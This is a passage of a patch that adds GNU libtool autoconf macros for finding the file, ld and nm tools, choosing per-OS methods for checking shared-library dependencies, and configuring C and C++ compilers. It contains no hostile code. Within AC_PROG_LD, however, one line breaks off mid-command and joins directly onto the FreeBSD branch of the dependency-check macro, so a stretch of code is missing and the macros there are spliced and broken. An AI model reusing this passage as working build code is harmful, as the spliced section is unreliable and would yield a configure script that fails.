libtool uses to detect shared libraries, +*** $file_magic_cmd, produces output that libtool cannot recognize. +*** The result is that libtool may fail to recognize shared libraries +*** as such. This will affect the creation of libtool libraries that +*** depend on shared libraries, but programs linked with such libtool +*** libraries will work regardless of this problem. Nevertheless, you +*** may want to report the problem to your system manager and/or to +*** bug-libtool@gnu.org + +EOF + fi ;; + esac + fi + break + fi + done + IFS="$lt_save_ifs" + MAGIC_CMD="$lt_save_MAGIC_CMD" + ;; +esac]) +MAGIC_CMD="$lt_cv_path_MAGIC_CMD" +if test -n "$MAGIC_CMD"; then + AC_MSG_RESULT($MAGIC_CMD) +else + AC_MSG_RESULT(no) +fi +])# AC_PATH_TOOL_PREFIX + + +# AC_PATH_MAGIC +# ------------- +# find a file program which can recognise a shared library +AC_DEFUN([AC_PATH_MAGIC], +[AC_PATH_TOOL_PREFIX(${ac_tool_prefix}file, /usr/bin$PATH_SEPARATOR$PATH) +if test -z "$lt_cv_path_MAGIC_CMD"; then + if test -n "$ac_tool_prefix"; then + AC_PATH_TOOL_PREFIX(file, /usr/bin$PATH_SEPARATOR$PATH) + else + MAGIC_CMD=: + fi +fi +])# AC_PATH_MAGIC + + +# AC_PROG_LD +# ---------- +# find the pathname to the GNU or non-GNU linker +AC_DEFUN([AC_PROG_LD], +[AC_ARG_WITH([gnu-ld], + [AC_HELP_STRING([--with-gnu-ld], + [assume the C compiler uses GNU ld @<:@default=no@:>@])], + [test "$withval" = no || with_gnu_ld=yes], + [with_gnu_ld=no]) +AC_REQUIRE([LT_AC_PROG_SED])dnl +AC_REQUIRE([AC_PROG_CC])dnl +AC_REQUIRE([AC_CANONICAL_HOST])dnl +AC_REQUIRE([AC_CANONICAL_BUILD])dnl +ac_prog=ld +if test "$GCC" = yes; then + # Check if gcc -print-prog-name=ld gives a path. + AC_MSG_CHECKING([for ld used by $CC]) + case $host in + *-*-mingw*) + # gcc leaves a trailing carriage return which upsets mingw + ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;; + *) + ac_prog=`($CC -print-prog-name=ld) 2>&5` ;; + esac + case $ac_prog in + # Accept absolute paths. + [[\\/]]* | ?:[[\\/]]*) + re_direlt='/[[^/]][[^/]]*/\.\./' + # Canonicalize the pathname of ld + ac_prog=`echo $ac_prog| $SED 's%\\\\%/%g'` + while echo $ac_prog | grep "$re_direlt" > /dev/null 2>&1; do + ac_prog=`echo $ac_prog| $SED "s%$re_direlt%/%"` + done + test -z "$LD" && LD="$ac_prog" + ;; + "") + # If it fails, then pretend we aren't using GCC. + ac_prog=ld + ;; + *) + # If it is relative, then search for the first ld in PATH. + with_gnu_ld=unknown + ;; + esac +elif test "$with_gnu_ld" = yes; then + AC_MSG_CHECKING([for GNU ld]) +else + AC_MSG_CHECKING([for non-GNU ld]) +fi +AC_CACHE_VAL(lt_cv_path_LD, +[if test -z "$LD"; then + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + for ac_dir in $PATH; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then + lt_cv_path_LD="$ac_dir/$ac_prog" + # Check to see if the program is GNU ld. I'd rather use --version, + # but apparently some GNU ld's only accept -v. + # Break only if it was the GNU/non-GNU ld that we prefer. + case `"$lt_cv_path_LD" -v 2>&1 &1 /dev/null; then + case $host_cpu in + i*86 ) + # Not sure whether the presence of OpenBSD here was a mistake. + # Let's accept both of them until this is cleared up. + lt_cv_deplibs_check_method='file_magic (FreeBSD|OpenBSD)/i[[3-9]]86 (compact )?demand paged shared library' + lt_cv_file_magic_cmd=/usr/bin/file + lt_cv_file_magic_test_file=`echo /usr/lib/libc.so.*` + ;; + esac + else + lt_cv_deplibs_check_method=pass_all + fi + ;; + +gnu*) + lt_cv_deplibs_check_method=pass_all + ;; + +hpux10.20* | hpux11*) + lt_cv_file_magic_cmd=/usr/bin/file + case "$host_cpu" in + ia64*) + lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|ELF-[[0-9]][[0-9]]) shared object file - IA64' + lt_cv_file_magic_test_file=/usr/lib/hpux32/libc.so + ;; + hppa*64*) + [lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - PA-RISC [0-9].[0-9]'] + lt_cv_file_magic_test_file=/usr/lib/pa20_64/libc.sl + ;; + *) + lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|PA-RISC[[0-9]].[[0-9]]) shared library' + lt_cv_file_magic_test_file=/usr/lib/libc.sl + ;; + esac + ;; + +irix5* | irix6* | nonstopux*) + case $LD in + *-32|*"-32 ") libmagic=32-bit;; + *-n32|*"-n32 ") libmagic=N32;; + *-64|*"-64 ") libmagic=64-bit;; + *) libmagic=never-match;; + esac + lt_cv_deplibs_check_method=pass_all + ;; + +# This must be Linux ELF. +linux*) + case $host_cpu in + alpha*|hppa*|i*86|ia64*|m68*|mips*|powerpc*|sparc*|s390*|sh*) + lt_cv_deplibs_check_method=pass_all ;; + *) + # glibc up to 2.1.1 does not perform some relocations on ARM + # this will be overridden with pass_all, but let us keep it just in case + lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB (shared object|dynamic lib )' ;; + esac + lt_cv_file_magic_test_file=`echo /lib/libc.so* /lib/libc-*.so` + lt_cv_deplibs_check_method=pass_all + ;; + +netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then + lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|_pic\.a)$' + else + lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so|_pic\.a)$' + fi + ;; + +newos6*) + lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (executable|dynamic lib)' + lt_cv_file_magic_cmd=/usr/bin/file + lt_cv_file_magic_test_file=/usr/lib/libnls.so + ;; + +nto-qnx*) + lt_cv_deplibs_check_method=unknown + ;; + +openbsd*) + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|\.so|_pic\.a)$' + else + lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|_pic\.a)$' + fi + ;; + +osf3* | osf4* | osf5*) + lt_cv_deplibs_check_method=pass_all + ;; + +sco3.2v5*) + lt_cv_deplibs_check_method=pass_all + ;; + +solaris*) + lt_cv_deplibs_check_method=pass_all + ;; + +sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + case $host_vendor in + motorola) + lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (shared object|dynamic lib) M[[0-9]][[0-9]]* Version [[0-9]]' + lt_cv_file_magic_test_file=`echo /usr/lib/libc.so*` + ;; + ncr) + lt_cv_deplibs_check_method=pass_all + ;; + sequent) + lt_cv_file_magic_cmd='/bin/file' + lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB (shared object|dynamic lib )' + ;; + sni) + lt_cv_file_magic_cmd='/bin/file' + lt_cv_deplibs_check_method="file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB dynamic lib" + lt_cv_file_magic_test_file=/lib/libc.so + ;; + siemens) + lt_cv_deplibs_check_method=pass_all + ;; + esac + ;; + +sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[[78]]* | unixware7* | sysv4*uw2*) + lt_cv_deplibs_check_method=pass_all + ;; +esac +]) +file_magic_cmd=$lt_cv_file_magic_cmd +deplibs_check_method=$lt_cv_deplibs_check_method +test -z "$deplibs_check_method" && deplibs_check_method=unknown +])# AC_DEPLIBS_CHECK_METHOD + + +# AC_PROG_NM +# ---------- +# find the pathname to a BSD-compatible name lister +AC_DEFUN([AC_PROG_NM], +[AC_CACHE_CHECK([for BSD-compatible nm], lt_cv_path_NM, +[if test -n "$NM"; then + # Let the user override the test. + lt_cv_path_NM="$NM" +else + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + for ac_dir in $PATH /usr/ccs/bin /usr/ucb /bin; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + tmp_nm="$ac_dir/${ac_tool_prefix}nm" + if test -f "$tmp_nm" || test -f "$tmp_nm$ac_exeext" ; then + # Check to see if the nm accepts a BSD-compat flag. + # Adding the `sed 1q' prevents false positives on HP-UX, which says: + # nm: unknown option "B" ignored + # Tru64's nm complains that /dev/null is an invalid object file + case `"$tmp_nm" -B /dev/null 2>&1 | sed '1q'` in + */dev/null* | *'Invalid file or object type'*) + lt_cv_path_NM="$tmp_nm -B" + break + ;; + *) + case `"$tmp_nm" -p /dev/null 2>&1 | sed '1q'` in + */dev/null*) + lt_cv_path_NM="$tmp_nm -p" + break + ;; + *) + lt_cv_path_NM=${lt_cv_path_NM="$tmp_nm"} # keep the first match, but + continue # so that we can try to find one that supports BSD flags + ;; + esac + esac + fi + done + IFS="$lt_save_ifs" + test -z "$lt_cv_path_NM" && lt_cv_path_NM=nm +fi]) +NM="$lt_cv_path_NM" +])# AC_PROG_NM + + +# AC_CHECK_LIBM +# ------------- +# check for math library +AC_DEFUN([AC_CHECK_LIBM], +[AC_REQUIRE([AC_CANONICAL_HOST])dnl +LIBM= +case $host in +*-*-beos* | *-*-cygwin* | *-*-pw32* | *-*-darwin*) + # These system don't have libm, or don't need it + ;; +*-ncr-sysv4.3*) + AC_CHECK_LIB(mw, _mwvalidcheckl, LIBM="-lmw") + AC_CHECK_LIB(m, cos, LIBM="$LIBM -lm") + ;; +*) + AC_CHECK_LIB(m, cos, LIBM="-lm") + ;; +esac +])# AC_CHECK_LIBM + + +# AC_LIBLTDL_CONVENIENCE([DIRECTORY]) +# ----------------------------------- +# sets LIBLTDL to the link flags for the libltdl convenience library and +# LTDLINCL to the include flags for the libltdl header and adds +# --enable-ltdl-convenience to the configure arguments. Note that LIBLTDL +# and LTDLINCL are not AC_SUBSTed, nor is AC_CONFIG_SUBDIRS called. If +# DIRECTORY is not provided, it is assumed to be `libltdl'. LIBLTDL will +# be prefixed with '${top_builddir}/' and LTDLINCL will be prefixed with +# '${top_srcdir}/' (note the single quotes!). If your package is not +# flat and you're not using automake, define top_builddir and +# top_srcdir appropriately in the Makefiles. +AC_DEFUN([AC_LIBLTDL_CONVENIENCE], +[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl + case $enable_ltdl_convenience in + no) AC_MSG_ERROR([this package needs a convenience libltdl]) ;; + "") enable_ltdl_convenience=yes + ac_configure_args="$ac_configure_args --enable-ltdl-convenience" ;; + esac + LIBLTDL='${top_builddir}/'ifelse($#,1,[$1],['libltdl'])/libltdlc.la + LTDLINCL='-I${top_srcdir}/'ifelse($#,1,[$1],['libltdl']) + # For backwards non-gettext consistent compatibility... + INCLTDL="$LTDLINCL" +])# AC_LIBLTDL_CONVENIENCE + + +# AC_LIBLTDL_INSTALLABLE([DIRECTORY]) +# ----------------------------------- +# sets LIBLTDL to the link flags for the libltdl installable library and +# LTDLINCL to the include flags for the libltdl header and adds +# --enable-ltdl-install to the configure arguments. Note that LIBLTDL +# and LTDLINCL are not AC_SUBSTed, nor is AC_CONFIG_SUBDIRS called. If +# DIRECTORY is not provided and an installed libltdl is not found, it is +# assumed to be `libltdl'. LIBLTDL will be prefixed with '${top_builddir}/' +# and LTDLINCL will be prefixed with '${top_srcdir}/' (note the single +# quotes!). If your package is not flat and you're not using automake, +# define top_builddir and top_srcdir appropriately in the Makefiles. +# In the future, this macro may have to be called after AC_PROG_LIBTOOL. +AC_DEFUN([AC_LIBLTDL_INSTALLABLE], +[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl + AC_CHECK_LIB(ltdl, lt_dlinit, + [test x"$enable_ltdl_install" != xyes && enable_ltdl_install=no], + [if test x"$enable_ltdl_install" = xno; then + AC_MSG_WARN([libltdl not installed, but installation disabled]) + else + enable_ltdl_install=yes + fi + ]) + if test x"$enable_ltdl_install" = x"yes"; then + ac_configure_args="$ac_configure_args --enable-ltdl-install" + LIBLTDL='${top_builddir}/'ifelse($#,1,[$1],['libltdl'])/libltdl.la + LTDLINCL='-I${top_srcdir}/'ifelse($#,1,[$1],['libltdl']) + else + ac_configure_args="$ac_configure_args --enable-ltdl-install=no" + LIBLTDL="-lltdl" + LTDLINCL= + fi + # For backwards non-gettext consistent compatibility... + INCLTDL="$LTDLINCL" +])# AC_LIBLTDL_INSTALLABLE + + +# AC_LIBTOOL_CXX +# -------------- +# enable support for C++ libraries +AC_DEFUN([AC_LIBTOOL_CXX], +[AC_REQUIRE([_LT_AC_LANG_CXX]) +])# AC_LIBTOOL_CXX + + +# _LT_AC_LANG_CXX +# --------------- +AC_DEFUN([_LT_AC_LANG_CXX], +[AC_REQUIRE([AC_PROG_CXX]) +AC_REQUIRE([AC_PROG_CXXCPP]) +_LT_AC_SHELL_INIT([tagnames=${tagnames+${tagnames},}CXX]) +])# _LT_AC_LANG_CXX + + +# AC_LIBTOOL_F77 +# -------------- +# enable support for Fortran 77 libraries +AC_DEFUN([AC_LIBTOOL_F77], +[AC_REQUIRE([_LT_AC_LANG_F77]) +])# AC_LIBTOOL_F77 + + +# _LT_AC_LANG_F77 +# --------------- +AC_DEFUN([_LT_AC_LANG_F77], +[AC_REQUIRE([AC_PROG_F77]) +_LT_AC_SHELL_INIT([tagnames=${tagnames+${tagnames},}F77]) +])# _LT_AC_LANG_F77 + + +# AC_LIBTOOL_GCJ +# -------------- +# enable support for GCJ libraries +AC_DEFUN([AC_LIBTOOL_GCJ], +[AC_REQUIRE([_LT_AC_LANG_GCJ]) +])# AC_LIBTOOL_GCJ + + +# _LT_AC_LANG_GCJ +# --------------- +AC_DEFUN([_LT_AC_LANG_GCJ], +[AC_PROVIDE_IFELSE([AC_PROG_GCJ],[], + [AC_PROVIDE_IFELSE([A][M_PROG_GCJ],[], + [AC_PROVIDE_IFELSE([LT_AC_PROG_GCJ],[], + [ifdef([AC_PROG_GCJ],[AC_REQUIRE([AC_PROG_GCJ])], + [ifdef([A][M_PROG_GCJ],[AC_REQUIRE([A][M_PROG_GCJ])], + [AC_REQUIRE([A][C_PROG_GCJ_OR_A][M_PROG_GCJ])])])])])]) +_LT_AC_SHELL_INIT([tagnames=${tagnames+${tagnames},}GCJ]) +])# _LT_AC_LANG_GCJ + + +# AC_LIBTOOL_RC +# -------------- +# enable support for Windows resource files +AC_DEFUN([AC_LIBTOOL_RC], +[AC_REQUIRE([LT_AC_PROG_RC]) +_LT_AC_SHELL_INIT([tagnames=${tagnames+${tagnames},}RC]) +])# AC_LIBTOOL_RC + + +# AC_LIBTOOL_LANG_C_CONFIG +# ------------------------ +# Ensure that the configuration vars for the C compiler are +# suitably defined. Those variables are subsequently used by +# AC_LIBTOOL_CONFIG to write the compiler configuration to `libtool'. +AC_DEFUN([AC_LIBTOOL_LANG_C_CONFIG], [_LT_AC_LANG_C_CONFIG]) +AC_DEFUN([_LT_AC_LANG_C_CONFIG], +[lt_save_CC="$CC" +AC_LANG_PUSH(C) + +# Source file extension for C test sources. +ac_ext=c + +# Object file extension for compiled C test sources. +objext=o +_LT_AC_TAGVAR(objext, $1)=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code="int some_variable = 0;\n" + +# Code to be used in simple link tests +lt_simple_link_test_code='int main(){return(0);}\n' + +_LT_AC_SYS_COMPILER + +# +# Check for any special shared library compilation flags. +# +_LT_AC_TAGVAR(lt_prog_cc_shlib, $1)= +if test "$GCC" = no; then + case $host_os in + sco3.2v5*) + _LT_AC_TAGVAR(lt_prog_cc_shlib, $1)='-belf' + ;; + esac +fi +if test -n "$_LT_AC_TAGVAR(lt_prog_cc_shlib, $1)"; then + AC_MSG_WARN([`$CC' requires `$_LT_AC_TAGVAR(lt_prog_cc_shlib, $1)' to build shared libraries]) + if echo "$old_CC $old_CFLAGS " | grep "[[ ]]$_LT_AC_TAGVAR(lt_prog_cc_shlib, $1)[[ ]]" >/dev/null; then : + else + AC_MSG_WARN([add `$_LT_AC_TAGVAR(lt_prog_cc_shlib, $1)' to the CC or CFLAGS env variable and reconfigure]) + _LT_AC_TAGVAR(lt_cv_prog_cc_can_build_shared, $1)=no + fi +fi + + +# +# Check to make sure the static flag actually works. +# +AC_LIBTOOL_LINKER_OPTION([if $compiler static flag $_LT_AC_TAGVAR(lt_prog_compiler_static, $1) works], + _LT_AC_TAGVAR(lt_prog_compiler_static_works, $1), + $_LT_AC_TAGVAR(lt_prog_compiler_static, $1), + [], + [_LT_AC_TAGVAR(lt_prog_compiler_static, $1)=]) + + +## CAVEAT EMPTOR: +## There is no encapsulation within the following macros, do not change +## the running order or otherwise move them around unless you know exactly +## what you are doing... +AC_LIBTOOL_PROG_COMPILER_NO_RTTI($1) +AC_LIBTOOL_PROG_COMPILER_PIC($1) +AC_LIBTOOL_PROG_CC_C_O($1) +AC_LIBTOOL_SYS_HARD_LINK_LOCKS($1) +AC_LIBTOOL_PROG_LD_SHLIBS($1) +AC_LIBTOOL_SYS_DYNAMIC_LINKER($1) +AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH($1) +AC_LIBTOOL_SYS_LIB_STRIP +AC_LIBTOOL_DLOPEN_SELF($1) + +# Report which librarie types wil actually be built +AC_MSG_CHECKING([if libtool supports shared libraries]) +AC_MSG_RESULT([$can_build_shared]) + +AC_MSG_CHECKING([whether to build shared libraries]) +test "$can_build_shared" = "no" && enable_shared=no + +# On AIX, shared libraries and static libraries use the same namespace, and +# are all built from PIC. +case "$host_os" in +aix3*) + test "$enable_shared" = yes && enable_static=no + if test -n "$RANLIB"; then + archive_cmds="$archive_cmds~\$RANLIB \$lib" + postinstall_cmds='$RANLIB $lib' + fi + ;; + +aix4* | aix5*) + if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then + test "$enable_shared" = yes && enable_static=no + fi + ;; +esac +AC_MSG_RESULT([$enable_shared]) + +AC_MSG_CHECKING([whether to build static libraries]) +# Make sure either enable_shared or enable_static is yes. +test "$enable_shared" = yes || enable_static=yes +AC_MSG_RESULT([$enable_static]) + +AC_LIBTOOL_CONFIG($1) + +AC_LANG_POP +CC="$lt_save_CC" +])# AC_LIBTOOL_LANG_C_CONFIG + + +# AC_LIBTOOL_LANG_CXX_CONFIG +# -------------------------- +# Ensure that the configuration vars for the C compiler are +# suitably defined. Those variables are subsequently used by +# AC_LIBTOOL_CONFIG to write the compiler configuration to `libtool'. +AC_DEFUN([AC_LIBTOOL_LANG_CXX_CONFIG], [_LT_AC_LANG_CXX_CONFIG(CXX)]) +AC_DEFUN([_LT_AC_LANG_CXX_CONFIG], +[AC_LANG_PUSH(C++) +AC_REQUIRE([AC_PROG_CXX]) +AC_REQUIRE([AC_PROG_CXXCPP]) + +_LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no +_LT_AC_TAGVAR(allow_undefined_flag, $1)= +_LT_AC_TAGVAR(always_export_symbols, $1)=no +_LT_AC_TAGVAR(archive_expsym_cmds, $1)= +_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)= +_LT_AC_TAGVAR(hardcode_direct, $1)=no +_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)= +_LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)= +_LT_AC_TAGVAR(hardcode_libdir_separator, $1)= +_LT_AC_TAGVAR(hardcode_minus_L, $1)=no +_LT_AC_TAGVAR(hardcode_automatic, $1)=no +_LT_AC_TAGVAR(module_cmds, $1)= +_LT_AC_TAGVAR(module_expsym_cmds, $1)= +_LT_AC_TAGVAR(link_all_deplibs, $1)=unknown +_LT_AC_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds +_LT_AC_TAGVAR(no_undefined_flag, $1)= +_LT_AC_TAGVAR(whole_archive_flag_spec, $1)= +_LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=no + +# Dependencies to place before and after the object being linked: +_LT_AC_TAGVAR(predep_objects, $1)= +_LT_AC_TAGVAR(postdep_objects, $1)= +_LT_AC_TAGVAR(predeps, $1)= +_LT_AC_TAGVAR(postdeps, $1)= +_LT_AC_TAGVAR(compiler_lib_search_path, $1)= + +# Source file extension for C++ test sources. +ac_ext=cc + +# Object file extension for compiled C++ test sources. +objext=o +_LT_AC_TAGVAR(objext, $1)=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code="int some_variable = 0;\n" + +# Code to be used in simple link tests +lt_simple_link_test_code='int main(int, char *[]) { return(0); }\n' + +# ltmain only uses $CC for tagged configurations so make sure $CC is set. +_LT_AC_SYS_COMPILER + +# Allow CC to be a program name with arguments. +lt_save_CC=$CC +lt_save_LD=$LD +lt_save_GCC=$GCC +GCC=$GXX +lt_save_with_gnu_ld=$with_gnu_ld +lt_save_path_LD=$lt_cv_path_LD +if test -n "${lt_cv_prog_gnu_ldcxx+set}"; then + lt_cv_prog_gnu_ld=$lt_cv_prog_gnu_ldcxx +else + unset lt_cv_prog_gnu_ld +fi +if test -n "${lt_cv_path_LDCXX+set}"; then + lt_cv_path_LD=$lt_cv_path_LDCXX +else + unset lt_cv_path_LD +fi +test -z "${LDCXX+set}" || LD=$LDCXX +CC=${CXX-"c++"} +compiler=$CC +_LT_AC_TAGVAR(compiler, $1)=$CC +cc_basename=`$echo X"$compiler" | $Xsed -e 's%^.*/%%'` + +# We don't want -fno-exception wen compiling C++ code, so set the +# no_builtin_flag separately +if test "$GXX" = yes; then + _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=' -fno-builtin' +else + _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)= +fi + +if test "$GXX" = yes; then + # Set up default GNU C++ configuration + + AC_PROG_LD + + # Check if GNU C++ uses GNU ld as the underlying linker, since the + # archiving commands below assume that GNU ld is being used. + if test "$with_gnu_ld" = yes; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath ${wl}$libdir' + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' + + # If archive_cmds runs LD, not CC, wlarc should be empty + # XXX I think wlarc can be eliminated in ltcf-cxx, but I need to + # investigate it a little bit more. (MM) + wlarc='${wl}' + + # ancient GNU ld didn't support --whole-archive et. al. + if eval "`$CC -print-prog-name=ld` --help 2>&1" | \ + grep 'no-whole-archive' > /dev/null; then + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' + else + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)= + fi + else + with_gnu_ld=no + wlarc= + + # A generic and very simple default shared library creation + # command for GNU C++ for the case where it uses the native + # linker, instead of GNU ld. If possible, this setting should + # overridden to take advantage of the native linker features on + # the platform it is being used on. + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib' + fi + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"' + +else + GXX=no + with_gnu_ld=no + wlarc= +fi + +# PORTME: fill in a description of your system's C++ link characteristics +AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries]) +_LT_AC_TAGVAR(ld_shlibs, $1)=yes +case $host_os in + aix3*) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + aix4* | aix5*) + if test "$host_cpu" = ia64; then + # On IA64, the linker does run time linking by default, so we don't + # have to do anything special. + aix_use_runtimelinking=no + exp_sym_flag='-Bexport' + no_entry_flag="" + else + aix_use_runtimelinking=no + + # Test if we are trying to use run time linking or normal + # AIX style linking. If -brtl is somewhere in LDFLAGS, we + # need to do runtime linking. + case $host_os in aix4.[[23]]|aix4.[[23]].*|aix5*) + for ld_flag in $LDFLAGS; do + case $ld_flag in + *-brtl*) + aix_use_runtimelinking=yes + break + ;; + esac + done + esac + + exp_sym_flag='-bexport' + no_entry_flag='-bnoentry' + fi + + # When large executables or shared objects are built, AIX ld can + # have problems creating the table of contents. If linking a library + # or program results in "error TOC overflow" add -mminimal-toc to + # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not + # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. + + _LT_AC_TAGVAR(archive_cmds, $1)='' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=':' + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + + if test "$GXX" = yes; then + case $host_os in aix4.[012]|aix4.[012].*) + # We only want to do this on AIX 4.2 and lower, the check + # below for broken collect2 doesn't work under 4.3+ + collect2name=`${CC} -print-prog-name=collect2` + if test -f "$collect2name" && \ + strings "$collect2name" | grep resolve_lib_name >/dev/null + then + # We have reworked collect2 + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + else + # We have old collect2 + _LT_AC_TAGVAR(hardcode_direct, $1)=unsupported + # It fails to find uninstalled libraries when the uninstalled + # path is not listed in the libpath. Setting hardcode_minus_L + # to unsupported forces relinking + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)= + fi + esac + shared_flag='-shared' + else + # not using gcc + if test "$host_cpu" = ia64; then + # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release + # chokes on -Wl,-G. The following line is correct: + shared_flag='-G' + else + if test "$aix_use_runtimelinking" = yes; then + shared_flag='${wl}-G' + else + shared_flag='${wl}-bM:SRE' + fi + fi + fi + + # It seems that -bexpall does not export symbols beginning with + # underscore (_), so it is better to generate a list of symbols to export. + _LT_AC_TAGVAR(always_export_symbols, $1)=yes + if test "$aix_use_runtimelinking" = yes; then + # Warning - without using the other runtime loading flags (-brtl), + # -berok will link without error, but may produce a broken library. + _LT_AC_TAGVAR(allow_undefined_flag, $1)='-berok' + # Determine the default libpath from the value encoded in an empty executable. + _LT_AC_SYS_LIBPATH_AIX + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath" + + _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols $shared_flag" + else + if test "$host_cpu" = ia64; then + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $libdir:/usr/lib:/lib' + _LT_AC_TAGVAR(allow_undefined_flag, $1)="-z nodefs" + _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols" + else + # Determine the default libpath from the value encoded in an empty executable. + _LT_AC_SYS_LIBPATH_AIX + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath" + # Warning - without using the other run time loading flags, + # -berok will link without error, but may produce a broken library. + _LT_AC_TAGVAR(no_undefined_flag, $1)=' ${wl}-bernotok' + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-berok' + # -bexpall does not export symbols beginning with underscore (_) + _LT_AC_TAGVAR(always_export_symbols, $1)=yes + # Exported symbols can be pulled into shared objects from archives + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=' ' + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes + # This is similar to how AIX traditionally builds it's shared libraries. + _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}-bE:$export_symbols ${wl}-bnoentry${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname' + fi + fi + ;; + chorus*) + case $cc_basename in + *) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + ;; + + + cygwin* | mingw* | pw32*) + # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless, + # as there is no search path for DLLs. + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported + _LT_AC_TAGVAR(always_export_symbols, $1)=no + _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=yes + + if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + # If the export-symbols file already is a .def file (1st line + # is EXPORTS), use it as is; otherwise, prepend... + 